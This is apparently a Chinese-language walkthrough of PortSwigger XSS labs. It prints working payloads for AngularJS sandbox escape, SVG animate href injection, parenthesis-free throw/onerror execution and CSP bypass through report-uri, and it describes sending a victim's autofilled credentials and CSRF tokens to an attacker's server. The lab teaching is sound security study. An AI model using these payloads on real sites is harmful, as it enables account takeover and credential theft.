1 | <input name=username id=username> |
当点击 input 的时候,浏览器根据 type 属性判断出这是账号和密码就会询问是否自动填充账号密码,这样就能触发浏览器自动询问填充账号密码了
1 | <input required="" type="username" id=username> |
再然后给密码框添加一个 onchange 事件,密码长度的值大于 0 就可以把填充的受害者账号密码发送给我们服务器(BP的DNS解析器记得点击自动轮询)
1 | <input name=username id=username> |
这题也可以继续利用 csrf 让用户把账号密码放在评论区(原理是一样的),当然平时还是不要这样干
Lab: Exploiting XSS to bypass CSRF defenses
This lab contains a stored XSS vulnerability in the blog comments function. To solve the lab, exploit the vulnerability to steal a CSRF token, which you can then use to change the email address of someone who views the blog post comments.
You can log in to your own account using the following credentials:
wiener:peter
可以直接从返回包里拿 csrf,这样就不用考虑 js 执行的时候评论区 input 里面 csrf 的值还没渲染的问题了
1 | <script> |
也可以跟前面评论区写cookie那题一样从 DOM 里面拿受害人的 csrf
1 | <script> |
Lab: Reflected XSS with AngularJS sandbox escape without strings
This lab uses AngularJS in an unusual way where the
$evalfunction is not available and you will be unable to use any strings in AngularJS. To solve the lab, perform a cross-site scripting attack that escapes the sandbox and executes the
alertfunction without using the$evalfunction.
依旧搜索看源代码,关键代码
1 | <script>angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) { |
$parse(key):解析字符串'search'为 Angular 表达式(即获取search属性);- 传入
$scope.query作为上下文,执行解析后的表达式,相当于$scope.query.search; - 因此,
$scope.value最终被赋值为'she11f'。
parse(expressionString) 的本质就是:将字符串形式的 Angular 表达式,编译成一个可在指定上下文对象中执行的函数。所以我们利用 key 值来进行注入,$parse(key) 就类似于 ,那该怎么控制 key 呢?直接把 search 换掉显然不太行,我们再加一个参数试一试
1 | ?search=she11f&1=1 |

程序员居然迭代了 key,那我们就能控制 key 的值了。
1 | ?search=she11f&1%2b1=1 |
成功解析了,但是 angularjs 沙盒给字符串和 alert 豆 ban 了。去速查表直接查
1 | toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41) |
记得 url 编码一遍再发。原理的话看 ai 吧(哎)
Lab: Reflected XSS with AngularJS sandbox escape and CSP
This lab uses CSP and AngularJS.
To solve the lab, perform a cross-site scripting attack that bypasses CSP, escapes the AngularJS sandbox, and alerts
document.cookie.
原理:
https://portswigger.net/research/angularjs-csp-bypass-in-56-characters
payload
1 | <script> |
这里不用 autofocus 而用锚点来触发 ng-focus 是因为前者会超出字符限制。
Lab: Reflected XSS with event handlers and href attributes blocked
This lab contains a reflected XSS vulnerability with some whitelisted tags, but all events and anchor `href` attributes are blocked. To solve the lab, perform a cross-site scripting attack that injects a vector that, when clicked, calls the
alertfunction. Note that you need to label your vector with the word “Click” in order to induce the simulated lab user to click your vector. For example:
爆破一下可用的标签,有 svg,a 和 animate ,但是所有事件以及 href: 貌似是被过滤了。
我们看一下 svg 和 animate 怎么用的吧,官网给了个例子
1 | <svg viewBox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> |
看不懂,丢给ai解释一下
目标元素:
<rect>(矩形)动画属性:
rx(矩形的圆角半径)动画效果:
values="0;5;0":圆角半径从 0 → 5 → 0 循环变化dur="10s":完成一次循环需要10秒repeatCount="indefinite":无限循环
视觉效果:矩形会在方形(直角)和圆角矩形之间平滑过渡,创建一个脉动的圆角效果。
也就是说 animate 里的 attributeName 和 values 元素,一起使用可以控制 rect 的 属性值,假如我们把 rect 换成 a,
attributeName="rx" 换成 attributeName="href" , values="0;5;0" 换成 values="javascript:alert(1)" 试试
1 | <svg> |
可是点不到,加字也加载不出来,看下文档,原来 <svg> 内部要有字得用标签 <text>
1 | <svg> |
x,y是声明文字坐标,这个不加的话也看不到字体
Lab: Reflected XSS in a JavaScript URL with some characters blocked
This lab reflects your input in a JavaScript URL, but all is not as it seems. This initially seems like a trivial challenge; however, the application is blocking some characters in an attempt to prevent XSS attacks.
To solve the lab, perform a cross-site scripting attack that calls the
alertfunction with the string1337contained somewhere in thealertmessage.
进来发现一个可控点,可以进入 javascript 上下文环境
1 | <a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1'}).finally(_ => window.location = '/')">Back to Blog</a> |
其中 body 字段值来自于 url ,我们可控,直接看 payload
1 | https://YOUR-LAB-ID.web-security-academy.net/post?postId=5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:' |
再看一下 html
1 | <a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d5%26%27},x%3dx%3d%3e{throw/**/onerror%3dalert,1337},toString%3dx,window+%27%27,{x%3a%27'}).finally(_ => window.location = '/')">Back to Blog</a> |
url 解码看一下
1 | <a href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:''}).finally(_ => window.location = '/')">Back to Blog</a> |
结合 payload ,5&'} 很容易理解,闭合 fetch 的第二个参数,x=x=>{throw/**/onerror=alert,1337} 变成了 fetch 的第三个参数,
toString=x,window+'' 是第四,五个参数,{x:' 用来闭合第六个参数。
参数三
这题背景是括号和空格被过滤了,先看片文章来理解 fetch 第三个参数,https://portswigger.net/research/xss-without-parentheses-and-semi-colons
文章给出了一个 payload,确实没用到空格
1 | <script>throw onerror=alert,'some string',123,'haha'</script> |
throw 就是抛出一个异常,比如
1 | throw 123; |
F12 可以看到控制台报错
1 | Uncaught 123 |
1 | throw 123,456; |
所以 throw 永远是抛出最后一个逗号后的数据(逗号操作符会返回最后一个表达式的值),而且可以执行 js 代码。
onerror=alert,将alert函数赋值给onerror,当throw执行时,会触发错误,由于onerror已经被设置为alert函数,所以会调用alert('haha')。
继续看 x=x=>{throw/**/onerror=alert,1337},多行注释符号很明显是绕过空格过滤,这是一个箭头函数的写法,两个 x代表的意义和作用域不一样,一个是函数名,一个是传入函数的参数,我们可以写成
1 | x = (x) => { |
但是还是得函数调用才能执行代码
1 | x = (x) => { |
参数四,参数五
,toString=x,window+'',,这里就很明显了,把前面定义的 x 函数给全局 toString,将window对象与空字符串相加这会触发隐式类型转换,调用window.toString()方法,但是 toString 已经被 x 函数覆盖了,于是就调用了 x 函数里的代码发生弹窗。
参数六
{x:' 闭合 '}
挺复杂的,还有一个问题就是为什么不直接 throw onerror=alert,1337,而是要再定义一个函数来调用,还得本地实验一下
1 | fetch("http://47.xx.xx.xx/",{ |
其实已经爆红,看看控制台给的错误
1 | Uncaught SyntaxError: Unexpected token 'throw' (at index.html:9:5) |
函数参数在传递前必须被计算成具体的值。,这是语句没有产生值,不能作为函数参数,但是 x=x=>{throw/**/onerror=alert,1337}是表达式,即使看起来没有返回值的表达式,在语言层面也会产生一个值,可以作为参数。
为什么 fetch 可以加那么多参数呢,其实也是 js 特性。
1 | const sum = function(a,b){ |
Lab: Reflected XSS protected by very strict CSP, with dangling markup attack
This lab using a strict CSP that blocks outgoing requests to external web sites.
To solve the lab, first perform a cross-site scripting attack that bypasses the CSP and exfiltrates a simulated victim user’s CSRF token using Burp Collaborator. You then need to change the simulated user’s email address to
hacker@evil-user.net. You must label your vector with the word “Click” in order to induce the simulated user to click it. For example:
You can log in to your own account using the following credentials:
wiener:peter
被这道题的官方解法搞蒙了,直到看到这篇文章 https://medium.com/@hackllego/reflected-xss-protected-by-very-strict-csp-with-dangling-markup-attack-port-swigger-xss-lab-e8811c2e476d 比官方 WP 过程简单许多。
Lab: Reflected XSS protected by CSP, with CSP bypass
This lab uses CSP and contains a reflected XSS vulnerability.
To solve the lab, perform a cross-site scripting attack that bypasses the CSP and calls the
alertfunction.Please note that the intended solution to this lab is only possible in Chrome.
注入
<s>123
成功解析了
<img src=1 onerror=alert(1)>
控制台报错,
有 csp 策略,看下返回包的Headers
1 | content-security-policy: default-src 'self'; object-src 'none';script-src 'self'; style-src 'self'; report-uri /csp-report?token= |
看到 report-uri 指令,会把用户输入的内容直接拼接到CSP策略里,但是CSP规定:同一个指令出现多次时,后面的不会覆盖前面的。
Chrome引入了
script-src-elem指令,它只控制<script>标签,不控制事件处理器。最重要的是:这个新指令可以覆盖现有的script-src规则!
所以用 ; 结束前一个指令
1 | token=; script-src-elem 'unsafe-inline' |
因为**script-src-elem** 指令只能覆盖 script 上下文不控制事件处理器。,所以 onerror 事件肯定还是没法用了
1 | ?search=<script>alert(1)</script>&token=; script-src-elem 'unsafe-inline' |
Summary
可能导致 DOM 型 XSS 的 sinks
1 | document.write() |